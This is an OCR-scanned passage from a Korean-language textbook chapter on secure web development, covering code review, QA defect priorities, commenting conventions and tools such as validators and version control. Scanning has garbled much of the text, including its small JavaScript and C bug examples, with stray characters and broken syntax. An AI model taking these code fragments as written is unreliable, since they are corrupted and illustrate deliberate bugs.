찾아 낸다. 오유들에는 문법적오유, 철자오유 지 어 줄거 리 ( storyline ) 오유들이 있을수도 
있다. 저자는 자료와 작업한것이 비슷하기때문에 작업에서의 모든 착오들을 볼수 없으며 
따라서 그것이 모두 정확하지 않을수도 있다. 편집기는 작업을 검사할 때 남아 있는 대 
부분의 오유들의 정 확성을 검사하여 오유들을 정 확하게 만들든가 정 확성 에 대 한 암시 를 
제시하여 주든가 저자에 의한 오유들을 밝혀 낼수 있으며 혹은 이 세가지 가운데서 임의 
의것을 조합할것이다. 편집기는 자기에게 해당한 처리를 다한 다음에는 교정을 할수 있 
도록 저자에게 작업 내용을 되돌려 보낼것 이 다. 이 러한 과정은 공개 하기 위한 작업 이 끝 
날 때까지 계속된다. 

이 과정이 개발작업에 반영되게 된다. 심사는 동위준위에서 진행되거나 개발자 대 
QA 준위 ( developer - to-QA level ) 에서 제기될수도 있다. 프로그람이 깨끗이 완료되여 
제품으로 준비되기전까지 오유와 결함들이 여기저기 작업부분에서 발견될수 있으며 퇴치 
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되게 된다. 다음의 실례는 아주 단순한것인데 신용카드형태에 적용되여 처리되는 규칙들 
을 취 급한다. 코드는 Mastercard 를 위하여 작성 되 였 는데 첫 두 문자가 번 호 54나 55일 
때 유효한 입구로 된다. 코드작성에서의 오유는 간단히 입구기준의 두번째 조가 55가 아 
니 라 56이 라는것 이 다. QA 검 사시 에 흠집 ( spot ) 은 단순하지 만 개 발자들이 자기의 코드를 
심사하는것을 생략할수도 있다. 한행씩 검사하는 동위코드심사는 이러한 약점을 잡아 내 
는 가장 좋은 방법 이 다. 


(Mastercard requires 16 

digits ).” , true ; null , 16, 16, null , null , null ); 
else if ( cc _ type == “ MC ” ) { 
var mcccnum ; 

mcccnum = ccnumchars . substr (0, 2); 

if ( mcccnum ! = “51” && mcccnum != “52” SSmcccnum != “53” 

&& mcccnum != “54” 沒沒 mcccnum != “56” ) { 
alert ( “MasterCard requires the first two 
digits of your credit card to begin with one of the 
following ： ‘51， , ‘52，‘53，‘54，‘56， 

코드심사를 통하여 어떻게 결함을 찾아 내는가에 대한 실례를 간단히 보자. 그다음 
좀 더 복잡한것을 보자. 이 코드실례들을 보면서 알고 있어야 할것은 코드심사를 위해서 
는 이러한 실례가 보잘것없지만 착상은 이것과 같다는것이다. 보통 그것은 코드가 길어 
질 때 더 위력하며 그렇게 되여서 개발자들은 그일이 구체적인 세부에 파묻히게 되므로 
놓치는 경향이 있다. 


t include < stdlib . h > /* For _ MAX_PATH definition */ 

# include < stdio . h > 

# include < malloc . h > 

void main ( void ) 

{ 

char ^ string ； 

/* Allocate space for a path name */ 


string=malloc (_ MAX _ PATH ) : 
if ( string == NULL ) 

printf (“Insufficient memory available 、 n ”; 
else 

[ 

printf (“Memory space allocated for path name \ n ”; 
/^REMOVE THIS CODE ********************* 
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*free ( string ) : 





*printf (“Memory freed \ n ”; 


********************************************/ 

} 

} 

우의 코드는 오유가 명백치 않지만《*》로 둘러 싸인 코드를 제거하지 않으면 기억 
기가 루설되여 체계에 오유가 발생되게 된다. 


제2절. 코드의 취약성에 대한 인식 


개발자들과 QA 는 사랑과 증오관계에 있다. QA 는 흔히 대상과제를 마감단계의 바 
리케트처럼 보인다. QA 는 보통 프로젝의 마지막작업이기때문에 이러한 견해는 일반적 
이 다. 그러나 코드를 심사할 때 오유들을 찾아 내면서 개 량해 나가면 대상과제는 더 성 
공적일 것 이 다. 자기 가 작성한 코드에 취 약성 이 있 는가를 쉽 게 확인 할수 있 게 하는것 은 
자기의 Web 응용프로그람들에서 보안위반의 기회를 줄일수 있는 충분한 방법으로 된다. 
코드심 사를 하려 고 하지 않았다면 최 소한 제 품을 배 포하기 전에 QA 림 에 의하여 개 발작 
업의 질이 담보되여야 할것이다. 이것 아니면 저것은 아무것도 아닌것보다 낮다. 물론 
많은 제 품작업 이 완성 된 다음 QA 림 을 리용한다면 오유를 퇴 치하는데 많은 시 간과 자금 
이 필요할것이다. 

코드심사를 할 때 자기 작업에서 오유를 찾기 위하여서는 QA 림에 대하여 기대를 
가지 는것 이 좋을것 이 다. 만일 필요한 때 에 QA 에 있는 사람과 이 야기해 본다면 그들은 
자기들이 작업 하고 있는것 이 그 무엇 이든지 결코 결함-자유로 될수 없다는것을 완전히 
확신한다고 이 야기할것 이 다. 응용프로그람에서 모든 결함들을 다 찾아 낼수는 없다. 론 
의의 초점은 낮은 우선권결함들외의 결함들에 두자. 

결 함들의 우선권은 다음과 같은 방법 으로 정 의할수 있 다 (그 어 떤 단체 라고 하여 도 
이 차이 는 심하지 않다) . 

• 위험하고 긴급한 우선권: 응용프로그람의 실행을 중지시키는 결함으로서 이 결 
함은 즉시에 수정되여 야 한다. 

• 아주 높은 우선권 : 응용프로그람의 기 능을 저 해하는 결 함으로서 이 결 함은 할 
수 있는껏 인차 수정되 여 야 한다. 

• 높은 우선권 : 말단사용자들에 의해 검 출될수 있는 결함이지 만 예정한 과제 를 
끝낼 수 없게 할 정 도로 싸이트기 능을 저 해하지 않는다. 이 결 함은 다음단계 의 
작업에 들어 가기전까지 수정되여 야 한다. 

• 중간우선권: 기능장애가 없지만 말단사용자들에게는 명백히 문제로 되는 결함 
으로서 제품을 배포하기전에 최종적으로 수정되여야 한다. 

• 낮은 우선권: 기능장애가 없고 말단사용자들에게 그다지 눈에 띄우지 않는 결 
함으로서 수정하여 도 되 고 안하여 도 되지 만 가능하면 수정하는것 이 좋다. 
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일 부 경 우에 QA 단체 는 발견된 결 함들에 대 해 더 고급한 평 가를 하기 위하여 《 그 
롭화방법》을 리용할수 있다. 이 방법에서는 10개의 중간우선권결함들이 기록되였다면 
그것을 한개의 높은 우선권결함들로 취급한다. 그러므로 배포하기전에 10개의 결함모두 
가 수정되 였다는것 이 담보되게 된다. 

검사하고 검사하고 또 검사하기 

개발진행과정에 QA 의 역할에 대한 수백가지의 견해가 있다. 일부 견해들은 대상과 
제를 시작하자마자 곧 QA 가 필요하다고 제의하고 일부 견해는 개발작업 이 끝날 때까지 
QA 를 포함시 킬 필요가 없다고도 하며 지 어 일부 다른 견해들은 QA 가 중간단계쯤에 필 
요하며 혹은 전혀 필 요 없 다고 하기 도 한다. 우리 는 QA 가 초기단계 로부터 포함되 여 야 
하며 검사가 전체 과정의 한부분으로 되여야 한다는것을 권고한다. 

이 과정 을 더 엄밀히 본다면 검사는 질적담보가 되 였 다고 하여 끝나는것 이 아니 다. 
검사는 개발자들과 함께 일반사람들에 의하여서도 진행되여야 한다. 시장에서는 응용프 
로그람의 일부검 사만 수행하게 된 다. 더 우기 외 부사람들의 검 사에 서 는 결 함에 대 한 검 사 
보다 리용측면의 ( usability ) 검사가 더 일반적 이 라 하여도 외부사람들의 그룹에 대 해서 
는 베 타시험관을 사용해 야 한다. 

검사는 시간이 걸리기때문에 대상과제의 초기부터 계획에 포함시킬 필요가 있다. 현 
실 은 QA 림 이 제 품을 받기 전에 검 사가 수행되 지 않았거 나 제 품으로 배 포하려 고 계 획 한 
전날까지 수행 되 지 못하였 다면 개 발자들이 고심하여 야 하며 특히 이 따금 한개 의 오유 
( bug ) 를 퇴치할 때 더 깊은 오유가 나타난다면 더욱 그러하다. 

권위 있는 전자상업회사의 저자들중의 한 사람인 이미전의 채용자가 Web 싸이트상 
에 서 사용자등록을 변경 시 키 고 있 다고 하자. 단체 는 사용자가 체 험하는 첫 단계 부터 싸 
이트의 방문을 마치는 마지막단계까지의 등록변경 이 등록률은 물론 판매까지도 증가시킬 
것이라고 믿었다. 이와 같은 과정은 싸이트를 방문하자 곧 등록을 요구하기때문에 사용 
자들에게 불만감을 주었다. 사용자들은 돌아 보면서 선택적으로 보고 결심을 하는데 시 
간이 걸리며 사려는것이 있을 때만 등록을 요구하게 된다. 과제는 너무 단순한것 같다. 
고객들이 등록을 먼저 하게 해야 한다는 결심이 서면 개발작업이 진행 된다. 이것을 변 
화시 키 기 위한 초기 의 개 발작업 은 두 사람의 개 발자로는 여 섯 주 걸린 다. 한주일 에 40시 
간을 개 발작업 에 투하한다고 볼 때 등록과정 을 옮기 는데 480시 간이 걸린 다. 마지 막검 사 
는 개 발자들에 의하여 완성 되 게 된다. 개 발자들이 검 사하는것 은 Web 상에서 물건사기카 
드에 항목을 두고 매매를 끝내는것이다. QA 가 응용프로그람의 검사를 시작할 때까지 
모든것 이 잘될수 있다. QA 는 서로다른 항목들의 구입，이미 등록된 사용자의 등록을 
시 도하는것 등의 최소한 20가지 의 관점 에서 매매경 로를 고찰한다. QA 가 하는것은 기 본 
적 으로 작성 된것 을 파괴하는것 이 다. 개 발의 초기 단계 가 완료되 면 QA 는 존재하는 결 함 
들을 찾아 내는메 여덟주는 걸리게 된다. 특별한 대상과제의 경우는 복잡하지만 동시에 
단순하다. 

설명하기는 쉬워도 수정하자면 복잡하다. 등록이 이동한 다음 QA 는 즉시 처음의 
싸이트방문에서의 결함들을 찾아 낸다. Web 싸이트 홈페지작성으로부터 싸이트가 완전 
히 서명될 때까지 50개 이상의 결함들이 발견되였다고 하자. 찾아 진 결함들중의 일부가 
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다음과 같다고 하자. 즉 존재하는 사용자의 서명을 리용할수 없는것，전자우편통 
( notification ) 가 작업하지 않는것，새로운 사용자등록을 할수 없는것，물건사기카드 
여 러 항목들을 구입할수 없는것，새롭게 작성된 등록이 끝나고 사용자가 매매 에 신용 
드거 래 를 처 리할수 없어서 싸이 트에 돌아 갈수 없다고 하자. 개 발림의 문제 가 해 결되 
3 A 는 다음단계의 처리에로 넘어 가 그 시점에서 또 다른 결함들을 찾아 낼것이다. 
발자들， QA 와 말단사용자들이 여 러 가지 론리 를 씨 서 검 사하는것 을 리 해한다는것 은 
발과정 에 대한 커 다란 혜택으로 된다. 

여러 준위에서 코드심사，검사들을 리용하여 오유를 찾아 낼수 있는 기회는 더 많 
진다. 각이한 심사 및 검사단계들과 매 단계에서 누가 과제를 수행하는가에 대하여 보 
(표 12-1). 목표가 각이한 준위와 수행되여야 할 검사 및 심사의 형태가 여러가지이기 
문에 할수 있는껏 가장 최적인 출구를 얻기 위하여 매개는 다른것들에 리용될수 있 t 
태 포되 는 자료에 접 근한다 하여 도 QA 와 개 발자들사이 에 존재하는 모든 마찰이 줄어 
가망은 없지만 기 본적 인 리해는 최소한 그것을 줄일수 있게 할것 이 다. 






제 3 절. 코드작성의 계획화에서 상식의 적용 


기술발전속도는 상상할수 없을 정도로 빠르다. 새로운 도구들이 계속 소개되고 있으 
며 사람들은 더 좋고 더 빠른 방법들을 창조해 낸다. 우리를 도와 줄수 있는것들가운데 
서 한가지는 규격화를 리용하는것 이 다. 

규격처리가 단체내에만 제한되는 처리로 될 때 작업은 보통 훨씬 더 빨리 끝난다. 
이러한 처리들은 대상과제가 이행되는 과정에 보안을 유지할수 있게 도와 주며 이행하는 
과정의 수고를 헛되게 하지 않는다. 

해결책으로써 이 장에서 제기하는 기술들을 리용하면 그것들을 옳바른 방향으로 옮 
길수 있게 될것이다. 옳바른 혼합 (right mix ) 은 단체와 단체사이에 차이날수 있다. 즉 
우리에게 가장 좋은것이 무엇인가를 찾는것이 요령이다. 그것을 일부 바로 잡을수 있을 
것이며 옳바른 처리를 찾아 내기 위하여 여러가지를 시험 삼아 해보고 조사할것이다. 

1. 계획작성 

우리는 모두 대상과제우에서 움직 이는 목표들을 가지고 작업을 하였다. 보안응용프 
로그람개발과 관련한 첫 단계는 적당한 계획을 세우고 작업하는것이다. 특별한 대상과제 
에 대하여 시도하는 결과가 무엇인가 하는것은 누구에게 나 생활을 더 쉽게 해줄것 이 다. 
작성되여 서명된 목표들은 임의의 순간에 변화될수 있는 경향성이 있다. 

IT 세계에서는《비용，질과 계획중에서 두가지를 선택하면 된다. 두가지만 선택하 
면 나머지 세 번째의것을 결정 할수 있을것 이 다.》라는 말이 있다. 

최근 전자상업회 사는 자기 들의 Web 싸이 트들의 재설계 를 검 토하였다. 여기 에서는 
그들이 할수 있는 거의 모든것들이 기본적으로 수정되였다. 일반적으로 느낀것은 단체가 
성 공하기 위 해 존재 하는 싸이 트에 관한 거 의 모든것 을 변화시 켜 야 한다는것이 였 다. 실제 
로 이것은 새로운 단체일수록 대단히 일반적인 문제로 된다. 흔히 보게 되는것은 6〜10 
달 기간후에 구조적 인 변화를 하게 되거나 작은 규모에서 《더 좋은 싸이트》를 만들 계 
획 을 가지 고 인 터 네 트세 계 의 부분으로 존재할수 있도록 그 무엇 인가를 동시 에 던져 버 린 
다는것이다. 개발자는 대상과제상에서 보안측면들과 전체적 인 질을 가지고 방조하는 일 
들을 수행한다. 오늘 많은 단체들은 한번에 여러개의 대상과제들을 세우고 있는데 첫 여 
러 주동안은 구조적 인 대 상과제 는 기 초적단계 ( background ) 에 있 다. 업 무를 배 우는데 와 
현재의 싸이트가 어떤 기능을 가지는가에 대하여 알아 보는데 시간이 걸린다. 배우는 기 
간에 그가 배 우는 가장 기 발한 문구 ( catchphrases ) 중의 하나가《 우리 는 재 구성하는 동 
안 그것을 처리하려고 한다.》라는것이다. 이러한 말은 너무 자주 들어서 개발자들은 이 
재 구성 대 상과제 ( re-architecture projects ) 가 모든것 을 포함하거나 이 대 상과제에 어 떤 
요구가 제기되는지 아무도 모르는 둘중의 하나는 사실이라는것을 깨닫게 될것이다. 

변화들은 기능으로부터 페지배치에 대한 보안에 이르기까지 모든것을 포함하는 경 
기에서 마지막에 만들어 진다. 모든것은 최종결심을 반드시 하여야 한다. 좋지 못한 
경우에는 15명중의 한사람만 변화시키는 지시 에 의하여 흔히 두세배의 변화가 일어 나 
게 한다. 

상상할수 있는것처럼 이렇게 계획한 상태에서는 보통 제시간에 배포되지 못한다. 사 
실 변화들이 매 방향에서부터 요구될 때 목적하는 자료를 만드는것은 거의 불가능하다. 
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주요한 역을 하는 사람에 의해 작성된 요구로 시 작된 대상과제를 가졌다면 초기 자료는 
대체로 실제 송달되 는 자료로 될 것 이 다. 

2 . a 드작성의 규직 

개발림에서 보안을 개선할수 있게 하는 부분은 코드작성의 규칙를 리용하는것이다. 
설명문들은 프로그람의 내용을 명백하고 간결하게 알수 있도륵 달아야 한다. 설명문에 
대 하여 취급하여 야 할 두가지 령 역 이 있다. 

• 머리부의 설명문들 

• 변수선언설명문들 

1) 머리부설명문 

파일의 초기 에 포함되는 머 리부설명문들은 보통 프로그람에 대 한 서술적 인 제목，기 
능 클라스들은 포함하게 된다(혹은 당신의 단체 내에 리용되는 이름짓기규칙 에 따르는 제 
목). 머 리부설명문은 또한 개발자들이나 창조된 날자，프로그람의 기능이나 콜라스를 수 
정한 모든 사람들의 이름, 수정된 날자를 포함할수 있다. 또한 변경된 추가적인 설명문 
도 머 리부부분에 포함되여 있어 야 한다. 

이 설명문정보는 프로그람과 함수가 어떻게 호출되는가 하는것도 포함할수 있다. 즉 
이것은 당신이 작업하고 있는 함수나 프로그람에 따라 각이하다. 함수에 대하여서는 함 
수가 서명하고 앞조건과 뒤조건을 포함하여야 하며 프로그람에 대해서는 지령이름이나 
변수들이 포함되여야 한다. 머리부설명문부분은 프로그람이나 함수가 무엇을 하는가 하 
는것들도 취급할수 있다. 여기에는 무슨 문제가 취급되였는가 또 어떤 갱신을 하였는가 
등 이러한것들을 포함한 설명을 줄수 있다. 

프로그람이나 함수로부터 예견되여야 하는 입구나 출구 혹은 두가지 설명문을 다 달 
수 있다면 그렇게 하여야 한다. 이것과 리용된 방법의 서술은 머리부에서 선택적인 설명 
문들이다. 설명문이 길어 질수 있고 때로는 여러가지 리유로 하여 빼놓을수도 있다. 이 
러한 정보들이 개발자들에게 필요되는 경우가 대 단히 많다. 

적 당한 코드작성 규칙 을 쓰지 않고도 어떤 개 발자들은 설명적 인 정 보가 필요하기 때 문 
에 간단간단히 정보들을 기 입하여 놓으며 일부 개발자들은 설명문이 길어 져 쓰지 않을 
수 있다. 적당히 코드작성규칙을 리용하면 이러한 모든 문제들이 해결될수 있으며 그러 
므로 그것을 고수할수 있다. 매 프로그람이 나 함수내에 포함되여야 하는 정보에 대한 시 
종일관한 형식을 가진 형판을 리용하는것은 커다란 방조로 된다. 단체가 아무리 그 어떤 
정보도 포함하지 않는다고 하여도 한 단체를 위한 작업은 다른 단체내에서는 동작하지 
않는다. 중요한것은 표준화가 적 당히 필요하며 또 그대로 따라야 한다는것 이 다. 

2) 변수선언설명문 

변수선언설명문부분은 모든 설명문부분의 가장 간단한 부분이다. 이 부분은 매 변수 
들이 노는 론리적역할에 대하여 간단히 서술한다. 그것은 변수선언설명문을 잘 서술하면 
작업을 잘할수 있다. 이 코드설명부분에 대한 서술원칙 ( guideline ) 을 잘 세워야 한다. 
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실례로 과제를 수행하는데 필요한 매 부분에 대하여 그의 목적에 대한 설명문과 거기에 
리용된 알고리듬에 대하여 설명 할수 있다. 만일 작성된 코드가 복잡하든가 비직관적 이 라 
면 설명문을 꼭 서술하여 두는것이 좋다. 이러한 규칙에 대하여 어렵다는것은 주관적인 
견해 ( subjectivity ) 이 다. 즉 어떤 개 발자들에 게 복잡한것 이 다른 개 발자에게는 복잡하지 
않을수도 있다. 그것은 흔히 판단이 라고 부론다. 바로 여 러가지 규칙을 가지는것 이 방조 
로 될것이다. 명백히 개발자들은 스스로 사색하여야 할 공간이 필요할것이고 그들은 설 
명 문을 포함시 키 겠는가 안시 키 겠는가를 결정할수 있을것 이 다. 적 당한 규칙 을 리 용하면 
이 러 한 과정 에 방조로 될것 이 다. 

3. 도구 

Web 응용프로그람들은 동적 환경 에 서 동작한다. 리용가능한 도구들을 쓰면 당신의 
생활은 더 쉽고 당신의 응용프로그람개발작업은 더 잘 보안될것이다. 규칙에 기초한 해 
석, 판본조종，원천코드 추적도구，오유수정 ( debugging ) 도구들과 갈은 도구들을 응용 
프로그람개발작업을 더 쉽게 보안할수 있게 할것 이 다. 지어 그것들중의 하나를 리용하는 
것은 개발자의 무효한 시간을 면제할수 있도록 개발작업에서 오유들을 지적하여 준다. 

1) 규칙어 I 기초한 분석기 

HTML 유효성 판정 기 ( validator ) 라고 부르는 규칙 에 기 초한 분석 기 는 개 발자들이 작 
성된 원천코드를 입력하여 코드작성규칙에 어긋나는 코드를 알아 내고 언어에 특정한 규 
칙들을 사용하게 한다. 규칙에 기초한 분석기를 리용하면 개발자가 주어 진 단체내에서 
리용되는 코드작성규칙과 배치되는것은 물론 코드작성에서 오유들을 발견할수 있도록 한 
다. 규칙에 기초한 분석기는 또한 장래의 문서이식성을 제공하는데 이것은 존재하는 열 
람기들이 얼마나 빨리 새톱게 리용될수 있게 하는가와 새로운 도구들이 얼마나 빨리 시 
장에 들어 오고 있는가 고찰할 때 매우 중요한것으로 된다. 규칙에 기초한 분석기는 일 
반적 으로 코드에서 불량련결을 검사하는 련결검사기와 HTML 문서내 에 포함되는 임의의 
style sheets 에 서 오유들을 검 사하는 폭포형 ( cascading ) 오유들을 포함한다. 

W 3 C Web 싸이 트는 HTML 유효성 봉사(그림 12_1)를 제 공하는데 이 에 대 하여 서 는 
http : // validated . w 3. org / 에서 찾아 볼수 있다. W 3 C Web 싸이 트는 방문자들에게 유효 
한 Uniform Resource Identifier ( URI ) 에 들어가서 유효한 HTML 을 가질수 있는 기 회 
를 준다. 즉 XHTML 이나 HTML 과 같은 형태의 문서에 들어 가서 어떻게 결과들이 
복귀되는가를 지적한다(원천입구를 보고 문서의 륜곽과 문법 나무를 보시오). 다른 직결 
(자유) 분석 기 들은 www . netmechanic . com 이 나 ■ www . cast , org / bobby / 에 서 쓸수 있 
다. 


2) 오유수정과 오유처리 

개 발환경 에 프로그람의 오유수정은 문제 (결함/오유)가 생 겨 프로그람과 격 리되 여 그 
문제 를 해 결 하고 수리 하고 실 행 하여 본다는것 을 의 미 한다. 프로그람이 오유수정 되 였 다면 
그 프로그람에 결함이 존재하지 않도륵 수리되였다는것을 의미한다. 오유수정을 위 하여 
서는 여 러가지 프로그람작성 언어들에서 러 용될수 도구들이 있다. 
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원천코드오유수정 프로그람들은 어 느 처 리 공정 이 활동상태 이 고 얼마나 많은 기 억 기 나 
자원들이 리용되는가 그외의 다른 내부정보들을 볼수 있게 된다. 오유수정프로그람은 어 
느 처리공정 ( process ) 이 체계가 폭주 되기에 앞서 기억기를 축적하게 하는가를 알려 준 
다. 이러한 기능은 어느 체계가 기억의 리용통보문을 받고 어느 체계가 통보문기억기를 
해방하지 않는가를 감시하는것으로써 제공된다. 더 많은 통보문을 받을수록 그것들은 리 
용가능한 모든 기억기들의 조종을 일시에 얻을수 있게 된다. 이 처리공정이 충분히 길어 
지면 체계는 완전히 정지되게 될것이다. 오유수정프로그람을 러용하면 이러한 경우를 막 
을수 있다. 



그림 12-1. w 3 c HTML 확인 봉사 Web 폐지 


오유수정프로그람은 초기개발단계에서 리용될수 있는 충분한 값 추가를 할수 있고 
QA 에 새롭게 배포하기전에 코드심사를 할수 있다. 해석동기의 뿌리는 일반적으로 오유 
수정 에 리 용될 때 더 쉽 게 작성 되 는데 왜 냐하면 오유처 리 를 리용하지 않고 복귀 될 수 있 
는《 열 람기 에 기 초한》통보문보다 오히 려 개 발자들에 게 발생한 문제 가 무엇 인가를 시 각 
적 으로 보여 주기때 문이 다. 개 발자들은 다른 결 함들을 읽 을수 있는 특별 한 도구로 리용 
하며 오유수정 프로그람에 의하여 작업하면서 일부를 잃지 않도륵 주의하여 야 한다. 

3) 판본조종과 원천3드추적 

당신은 다른 사람이 작성한 코드부분에 대하여서와 기억된 절차에 대하여 그것들이 
무엇을 하는지 명백치 않기때문에 그로부터 요구되는 질문을 개발자에게서 들어 본적이 
몇번이나 있었는가? 당신은 누가 자기의 특별한 코드부분에서 작업하고 있다는것을 모르 
고 누가 그 코드상에서 작업 하는가를 찾아 보면서 작업한적 이 몇번 있었는가? 지 어 언제 
인가는 좌절감을 느낄 때가 여러번 있게 된다. 이러한 경우를 피하자면 여러개의 도구들 
중의 임의의 한개를 리용하면 간단히 해결된다. 
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관본조종은 대부분의 단체들에서 리용되지만 아마 그의 능력 이 최대 한으로 발휘되지 
못할것이다. 판본조종은 두사람이 한번에 갈은 프로그람들을 변화시킬수 없다는것을 담 
보하는데 리용된다. 판본조종과 원천코드추적도구는 개발림의 그 누군가에 의해 덧쓰기 
되 여 변화된것 들에 대 하여 고심 을 하지 않도록 하는 우월한 도구이 다. Visual 
SourceSafe 즉 Microsoft 구성 관리 도구들과 Star Team 은 꾸레 미 들을 리 용가능하게 하 
는 두가지 산업이다. 이러한 도구들이 무엇을 제공하여야 하는가에 대해 더 깊이 있게 
보자. 

(1) Visual SourceSafe 

Microsoft 는 림의 가장 가치 있는 유산을 보호하는 도구로써 Visual SourceSafe 
( VSS ) 를 내놓았으며 복잡한 개 발과 작성환경에서 효과적 으로 작업 하는데 필요한 도구들 
을 제공해 준다. VSS 의 유일한 특징들의 하나는 그것 이 보안과 척도화 ( scalable ) 할수 
있다는것이다. VSS 는 단체들이 현재의 파일들이 문서, 코드， Web 내용들에 대한 지난 
기간의 변화들을 함께 보관하도록 하여 이미전의 판본들의 재창조와 임의의 파일에 대한 
검 열궤 적 (audit trail ) 의 유지 를 쉽 게 하여 준다. VSS 는 배 우기 쉽 고 리 용하기 쉽 다. 판 
본 6.0 의 사용자대면부는 Windows Explorer 와 류사하다. 

VSS 는 동일한 환경에서 원천코드， Web 내용과 지원하는 프로그람파일을 사용자들 
이 개 발할수 있게 하는 Web 와 PC 내 용관리 를 위 한 대상과제지 향관본조종을 가지고 있다. 
또한 단체 들이 자기 들의 파일들을 직 접 Web 싸이 트들에 배 치할수 있게 한다. 이 꾸레 미 
들에 포함된 보충적인 특징들중의 일부는 다음과 갈다. 

• 싸이 트넘 기 기 ( map ) 들은 VSS 에 기 억된 Web 페 지 의 집 합으로부터 발생 될수 
있 다. 

• 자료들의 배 포와 변화들사이의 임의의 결합 ( association ) 을 위 한 승격 표식 
(Promotion Labeling ) 

• 국부와 원격 하이 퍼 련결 ( hyperlink ) 두가지 를 다 검 사할수 있는 능력 

• 임의의 개발작성도구를 리용하여 생산된 파일에 대한 판본조종들 

VSS 는 설 치 하기 쉽 고 배 우기 도 쉽다. 판본조종은 쏘프트웨어 와 Web 싸이 트개 발의 
림 의 성 공을 위해 중요하다. VSS 를 리용하면 사용자들이 파일 을 뜻밖에 분실 하는것 을 
보호한다. 또한 이 미 전의 판본들에 로 복귀할수 있게 하며 분기，병 합과 배 포들의 관리 를 
쉽 게 할수 있게 한다. VSS 는 원천조종체 계 인데 쏘프트웨어 나 Web 싸이 트들을 개 발할 
때 필요될것이다. VSS 에 대한 또 다른 특징들은 파일의 두 판본들을 비교할수 있는 능 
력이나 이미전의 판본들에 돌아 갈수 있게 하는 능력 이 다. 

개발자들의 립장에서 보면 Web 응용프로그람작업에서 이러한 특징들이 특히 중요하 
다는것 을 리 해할수 있을것 이 다. VSS 와 갈은 도구는 개 발과정 을 만들거 나 파피할수 있 다. 
판본에 대 한 추적특징은 임의의 원천코드에서 작성된 변화들을 더 잘 관리할수 있게 한 
다. VSS 가 보안을 파피하는 위협을 없애지 않는다고 하여도 보안구멍이 있을수 있는 변 
화들이 어 디 에서 발생 하는가를 추적할수 있다. VSS 는 원천조종도구로 가장 잘 알려 진 
것이지만 여기에 리용되는것은 하나만이 아니다. StarTeam 은 대상과제들이 더 잘 통합 
되는것으로써 리용이 계속 발전하고 있다. 
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(2) StarTeam 

StarTeam 은 Microsoft VSS 와 내적으로 동일한 개념을 리용하여 림생산성을 높이 
기 위 하여 설계된 구성 관리도구에 기초한 대상과제 이 다. StarTeam 은 총체 적 인 해 답꾸 
레 미 (solution package) 로 더 욱 더 발전 하기 때 문 에 인 기 가 계 속 성 장 하고 있 다 . 
StarTeam 에서는 판본조종과 시각적 인 구성관리를 할수 있으며 결함을 추적하는 기능이 
보충되 였 다. 판본조종과 원천코드관리 를 위한 VSS 와 갈은 도구와 결 함관리 를 위한 
Mercury 의 TestDirector 와 같은 도구들을 따로따로 리용하는것보다 두가지를 다 취급 
할수 있는 Star Team 을 리 용하는것 이 더 좋다. 

StarTeam 은 또한 문서 화의 요구를 처 리 할수 있는 능력 도 제 공한다. StarTeam 은 
처음부터 마지막까지 대상과제를 취급할수 있도록 설계하였다. 그것은 또한 MS 대상과계 
로 완전히 통합될수 있다. StarTeam 은 VSS 에서 할수 있었던것처 럼 표식붙이기와 Web 
대면도 할수 있다. 또한 StarTeam 에는 변화들을 쉽게 식별할수 있게 하는 특징이 있으 
며 변화들을 접수하거나 거절할수 있는 능력도 제공한다. 이러한 특징은 여러 사람들이 
빠른걸음의 환경에서의 동일한 문서들에서 작업하고 있을 때 쓸모 있다. 

판본조종，결함추적，코드규칙과 표식달기에 의한 구성관리도구를 리용하는것은 개 
발과정에 크게 방조 받을수 있다. 개발작업을 방조하는 도구는 림환경에서 설정할 때 가 
치가 크다. 


제 4 절. 보안계획의 작성 


이 책의 목적은 응용프로그람준위에서의 보안에 대하여 취급하는것이지만 망과 망작 
업기 (workstation) 준위에서도 보안이 필요하다. 이 절에서는 망과 워크스테 이션 보안에 
대한 정보는 물론 이 장에서 이미 론의된 도구들과 방법들을 다같이 묶어서 보안계획을 
작성하는데 대하여 취급한다. 

이 장을 통하여 우리는 대상과제의 계획，개발，검사의 여러가지 측면들에 대하여 
취급한다. 그것들은 모두 주어진 대상과제의 개별적인 부분들이지만 함께 실행될 때 형 
식적인 수법에서는 그것들이 다 보안계획이다. 이것은 관리가 어디에서 큰 역할을 하는 
가 하는것이다. 누구나 자기 단체에 중요한 보안을 배치할 필요가 있다. 또한 개발자들 
과 망관리 자, QA 와 회 사가 보안이 의 거하는 관리 의 전부에 대 해 알아 둘 필 요가 있으 
며 이 장에서 취급하는 크고 리용성이 있는 도구들의 전부를 실행할 필요가 있다. 보안 
계 획에 포함되게 되는 령역들, 이미 취급된 심사에 대 하여 목록을 작성하는것으로부터 
시 작하자. 


• 개발대상과제들에서 지상 (ground up) 으로부터 QA 를 포함하면 된다. 

• 여기저기에 코드작성규칙들이 필요하며 그것을 따라야 한다. 

• 구조화된 련습이 나 비 공식 적 인 련습은 개 발작업 의 한 부분이 여야 한다. 

• 판본조종쏘프트웨어의 리용 

• 규칙에 기초한 해석의 리용 

• 코드작성할 때 오유수정 이 나 오유처 리의 리용 

• 망보안과 응용프로그람보안 두가지를 다 취급할 필요가 있다. 
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그 어떤 단체든지 목표는 보안이 되여 있는 기능적인 싸이트를 가지는것이다. 보안 
이 기능을 약화시켜야 강해 지고 반대로 기능이 강하면 보안이 약해 지는것 같은 때가 
종종 있으며 또 그것이 사실로 될 때도 드문 히 있다. 요령은 응용프로그람이 기능을 여 
전히 제공해 주면서 보안을 갖추는 위치를 찾는것이다. 많은 보안방법들은 응용프로그람 
들을 리용할수 없게 하며 이와 반면에 대단히 많은 기능이 충분히 보안되지 못하고 있다. 
당신의 요구하는것은 두가지이다. 명백히 사용자들은 Web 싸이트의 리용에서 기밀성에 
대하여 고려한다. 이것은 보안준위에서는 물론 기능준위에서도 가능하다. 

보안관계，처리와 갱신들을 취급하기 위하여 여기저기에 보안림들을 꾸러 놓는것은 
좋은 착상이다. 림 은 망관리 자，개 발자, 대 상과제 관리 자，질 보증인 , 관리 인들로 구성 되 
여 야 한다. 당신의 단체에 대한 보안계획의 공개는 보안림의 목표중의 하나이여야 한다. 
보안계획은 다음과 갈은 준위 에서 보안을 취급해 야 한다. 

• 망준위 

• 응용프로그람준위 

• 개별적인 망준위 


1) 망준위에서 보안계획의 작성 

망준위 에서 보안계 획 은 3 A , 즉 인증 (Au 仕 rentication ), 권한부여 (Au 比 lorization ), 
책 임 추적 ( Accountability ) 을 취 급해 야 한다. 당신은 누가 자기 의 응용프로그람을 호출 
할수 있게 하겠는가，어떻게 그 응용프그람을 보존할수 있게 하겠는가，언제 어데서부터 
